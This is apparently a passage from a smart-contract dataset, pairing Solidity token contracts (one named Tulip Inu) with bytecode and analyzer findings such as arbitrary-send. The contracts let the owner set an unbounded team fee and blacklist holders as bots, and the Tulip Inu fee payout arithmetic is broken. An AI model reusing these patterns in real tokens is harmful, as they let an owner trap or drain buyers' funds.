}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103ff578063cf0848f714610414578063cf9d4afa14610434578063dd62ed3e14610454578063e6ec64ec1461049a578063f2fde38b146104ba57600080fd5b8063715018a6146103325780638da5cb5b1461034757806390d49b9d1461036f57806395d89b411461038f578063a9059cbb146103bf578063b515566a146103df57600080fd5b806331c2d8471161010857806331c2d8471461024b5780633bbac5791461026b578063437823ec146102a4578063476343ee146102c45780635342acb4146102d957806370a082311461031257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101c157806318160ddd146101f157806323b872dd14610217578063313ce5671461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104da565b005b34801561017e57600080fd5b5060408051808201909152601481527309ee4c8cae440decc40e8d0ca40a0d0decadcd2f60631b60208201525b6040516101b89190611909565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611983565b610526565b60405190151581526020016101b8565b3480156101fd57600080fd5b50683635c9adc5dea000005b6040519081526020016101b8565b34801561022357600080fd5b506101e16102323660046119af565b61053d565b34801561024357600080fd5b506009610209565b34801561025757600080fd5b50610170610266366004611a06565b6105a6565b34801561027757600080fd5b506101e1610286366004611acb565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102b057600080fd5b506101706102bf366004611acb565b61063c565b3480156102d057600080fd5b5061017061068a565b3480156102e557600080fd5b506101e16102f4366004611acb565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031e57600080fd5b5061020961032d366004611acb565b6106c4565b34801561033e57600080fd5b506101706106e6565b34801561035357600080fd5b506000546040516001600160a01b0390911681526020016101b8565b34801561037b57600080fd5b5061017061038a366004611acb565b61071c565b34801561039b57600080fd5b506040805180820190915260078152660a0909e8a9c92b60cb1b60208201526101ab565b3480156103cb57600080fd5b506101e16103da366004611983565b610796565b3480156103eb57600080fd5b506101706103fa366004611a06565b6107a3565b34801561040b57600080fd5b506101706108bc565b34801561042057600080fd5b5061017061042f366004611acb565b610973565b34801561044057600080fd5b5061017061044f366004611acb565b6109be565b34801561046057600080fd5b5061020961046f366004611ae8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a657600080fd5b506101706104b5366004611b21565b610c19565b3480156104c657600080fd5b506101706104d5366004611acb565b610c48565b6000546001600160a01b0316331461050d5760405162461bcd60e51b815260040161050490611b3a565b60405180910390fd5b6000610518306106c4565b905061052381610ce0565b50565b6000610533338484610e5a565b5060015b92915050565b600061054a848484610f7e565b61059c843361059785604051806060016040528060288152602001611cb5602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113c0565b610e5a565b5060019392505050565b6000546001600160a01b031633146105d05760405162461bcd60e51b815260040161050490611b3a565b60005b8151811015610638576000600560008484815181106105f4576105f4611b6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611b9b565b9150506105d3565b5050565b6000546001600160a01b031633146106665760405162461bcd60e51b815260040161050490611b3a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610638573d6000803e3d6000fd5b6001600160a01b038116600090815260016020526040812054610537906113fa565b6000546001600160a01b031633146107105760405162461bcd60e51b815260040161050490611b3a565b61071a600061147e565b565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161050490611b3a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610533338484610f7e565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161050490611b3a565b60005b815181101561063857600c5482516001600160a01b03909116908390839081106107fc576107fc611b6f565b60200260200101516001600160a01b03161415801561084d5750600b5482516001600160a01b039091169083908390811061083957610839611b6f565b60200260200101516001600160a01b031614155b156108aa5760016005600084848151811061086a5761086a611b6f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b481611b9b565b9150506107d0565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161050490611b3a565b600c54600160a01b900460ff1661094a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610504565b600c805460ff60b81b1916600160b81b17905542600d81905561096e906078611bb6565b600e55565b6000546001600160a01b0316331461099d5760405162461bcd60e51b815260040161050490611b3a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e85760405162461bcd60e51b815260040161050490611b3a565b600c54600160a01b900460ff1615610a505760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610504565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acb9190611bce565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190611bce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bad9190611bce565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c435760405162461bcd60e51b815260040161050490611b3a565b600855565b6000546001600160a01b03163314610c725760405162461bcd60e51b815260040161050490611b3a565b6001600160a01b038116610cd75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610504565b6105238161147e565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2857610d28611b6f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da59190611bce565b81600181518110610db857610db8611b6f565b6001600160a01b039283166020918202929092010152600b54610dde9130911684610e5a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e17908590600090869030904290600401611beb565b600060405180830381600087803b158015610e3157600080fd5b505af1158015610e45573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ebc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610504565b6001600160a01b038216610f1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610504565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610504565b6001600160a01b0382166110445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610504565b600081116110a65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610504565b6001600160a01b03831660009081526005602052604090205460ff161561114e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610504565b6001600160a01b03831660009081526004602052604081205460ff1615801561119057506001600160a01b03831660009081526004602052604090205460ff16155b80156111a65750600c54600160a81b900460ff16155b80156111d65750600c546001600160a01b03858116911614806111d65750600c546001600160a01b038481169116145b156113ae57600c54600160b81b900460ff166112345760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610504565b50600c546001906001600160a01b0385811691161480156112635750600b546001600160a01b03848116911614155b8015611270575042600e54115b156112b8576000611280846106c4565b90506112a1606461129b683635c9adc5dea0000060026114ce565b9061154d565b6112ab848361158f565b11156112b657600080fd5b505b600d544214156112e6576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f1306106c4565b600c54909150600160b01b900460ff1615801561131c5750600c546001600160a01b03868116911614155b156113ac5780156113ac57600c546113509060649061129b90600f9061134a906001600160a01b03166106c4565b906114ce565b81111561137d57600c5461137a9060649061129b90600f9061134a906001600160a01b03166106c4565b90505b600061138a82600561154d565b90506113968183611c5c565b91506113a1816115ee565b6113aa82610ce0565b505b505b6113ba8484848461161e565b50505050565b600081848411156113e45760405162461bcd60e51b81526004016105049190611909565b5060006113f18486611c5c565b95945050505050565b60006006548211156114615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610504565b600061146b611721565b9050611477838261154d565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114dd57506000610537565b60006114e98385611c73565b9050826114f68583611c92565b146114775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610504565b600061147783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611744565b60008061159c8385611bb6565b9050838110156114775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610504565b600c805460ff60b01b1916600160b01b17905561160e3061dead83610f7e565b50600c805460ff60b01b19169055565b808061162c5761162c611772565b60008060008061163b8761178e565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166890856117d5565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611697908461158f565b6001600160a01b0389166000908152600160205260409020556116b981611817565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116fe91815260200190565b60405180910390a3505050508061171a5761171a600954600855565b5050505050565b600080600061172e611861565b909250905061173d828261154d565b9250505090565b600081836117655760405162461bcd60e51b81526004016105049190611909565b5060006113f18486611c92565b60006008541161178157600080fd5b6008805460095560009055565b6000806000806000806117a3876008546118a3565b9150915060006117b1611721565b90506000806117c18a85856118d0565b909b909a5094985092965092945050505050565b600061147783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c0565b6000611821611721565b9050600061182f83836114ce565b3060009081526001602052604090205490915061184c908261158f565b30600090815260016020526040902055505050565b6006546000908190683635c9adc5dea0000061187d828261154d565b82101561189a57505060065492683635c9adc5dea0000092509050565b90939092509050565b600080806118b6606461129b87876114ce565b905060006118c486836117d5565b96919550909350505050565b600080806118de86856114ce565b905060006118ec86866114ce565b905060006118fa83836117d5565b92989297509195505050505050565b600060208083528351808285015260005b818110156119365785810183015185820160400152820161191a565b81811115611948576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052357600080fd5b803561197e8161195e565b919050565b6000806040838503121561199657600080fd5b82356119a18161195e565b946020939093013593505050565b6000806000606084860312156119c457600080fd5b83356119cf8161195e565b925060208401356119df8161195e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1957600080fd5b823567ffffffffffffffff80821115611a3157600080fd5b818501915085601f830112611a4557600080fd5b813581811115611a5757611a576119f0565b8060051b604051601f19603f83011681018181108582111715611a7c57611a7c6119f0565b604052918252848201925083810185019188831115611a9a57600080fd5b938501935b82851015611abf57611ab085611973565b84529385019392850192611a9f565b98975050505050505050565b600060208284031215611add57600080fd5b81356114778161195e565b60008060408385031215611afb57600080fd5b8235611b068161195e565b91506020830135611b168161195e565b809150509250929050565b600060208284031215611b3357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611baf57611baf611b85565b5060010190565b60008219821115611bc957611bc9611b85565b500190565b600060208284031215611be057600080fd5b81516114778161195e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c3b5784516001600160a01b031683529383019391830191600101611c16565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6e57611c6e611b85565b500390565b6000816000190483118215151615611c8d57611c8d611b85565b500290565b600082611caf57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206829c9c144bd685c8f9b0d2c00642cc8d69d13040be4d94c8cc432adc5825a3764736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,806 |
0xc2E45c92F3A4700B540a75b31463897aE54bE962 | /* Tulip Inu ($TULIP)
Our Amazing Community: https://t.me/tulipinuofficial
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TulipInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tulip Inu";
string private constant _symbol = "TULIP";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (25 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2).mul(10));
_marketingFunds.transfer(amount.div(8).mul(10));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
_maxTxAmount = 10000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610302578063c3c8cd8014610322578063d543dbeb14610337578063dd62ed3e1461035757600080fd5b80636fc3eaec1461026257806370a0823114610277578063715018a6146102975780638da5cb5b146102ac57600080fd5b806323b872dd116100dc57806323b872dd146101d1578063293230b8146101f1578063313ce567146102065780635932ead1146102225780636b9990531461024257600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a7565b61039d565b005b34801561014657600080fd5b5060408051808201909152600981526854756c697020496e7560b81b60208201525b60405161017591906119eb565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461187c565b61044a565b6040519015158152602001610175565b3480156101ba57600080fd5b506509184e72a0005b604051908152602001610175565b3480156101dd57600080fd5b5061019e6101ec36600461183c565b610461565b3480156101fd57600080fd5b506101386104ca565b34801561021257600080fd5b5060405160098152602001610175565b34801561022e57600080fd5b5061013861023d36600461196e565b610886565b34801561024e57600080fd5b5061013861025d3660046117cc565b6108ce565b34801561026e57600080fd5b50610138610919565b34801561028357600080fd5b506101c36102923660046117cc565b610946565b3480156102a357600080fd5b50610138610968565b3480156102b857600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e057600080fd5b50604080518082019091526005815264054554c49560d